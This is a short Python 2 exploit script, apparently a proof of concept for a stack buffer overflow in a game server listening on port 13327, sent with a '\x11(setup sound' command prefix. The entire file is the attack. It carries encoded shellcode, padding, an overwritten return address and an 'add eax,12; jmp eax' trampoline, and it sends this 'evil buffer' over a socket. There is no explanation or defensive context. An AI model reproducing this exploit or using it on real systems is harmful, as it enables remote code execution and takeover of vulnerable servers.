#!/usr/bin/python
import socket

#nasm > add eax,12
#00000000  83C00C            add eax,byte +0xc
#nasm > jmp eax
#00000000  FFE0              jmp eax


host ="127.0.0.1"

shellcode = (
"\xda\xcb\xbb\x39\x45\x38\xfc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x14\x31\x5a\x19\x83\xc2\x04\x03\x5a\x15\xdb\xb0\x09\x27\xec"
"\xd8\x39\x94\x41\x75\xbc\x93\x84\x39\xa6\x6e\xc6\x61\x79\x23"
"\xae\x97\x85\xd2\x72\xf2\x95\x85\xda\x8b\x77\x4f\xbc\xd3\xba"
"\x10\xc9\xa5\x40\xa2\xcd\x95\x2f\x09\x4d\x96\x1f\xf7\x80\x99"
"\xf3\xa1\x70\xa5\xab\x9c\x04\x90\x32\xe7\x6c\x0c\xea\x64\x04"
"\x3a\xdb\xe8\xbd\xd4\xaa\x0e\x6d\x7a\x24\x31\x3d\x77\xfb\x32")

ret="\x97\x45\x13\x08"

crash=shellcode +"\x41" * (4368-105) + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90"

buffer = "\x11(setup sound " + crash + "\x90\x00"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
s.send(buffer)
data=s.recv(1024)
print data
s.close()
print "[*]Payload Sent !"
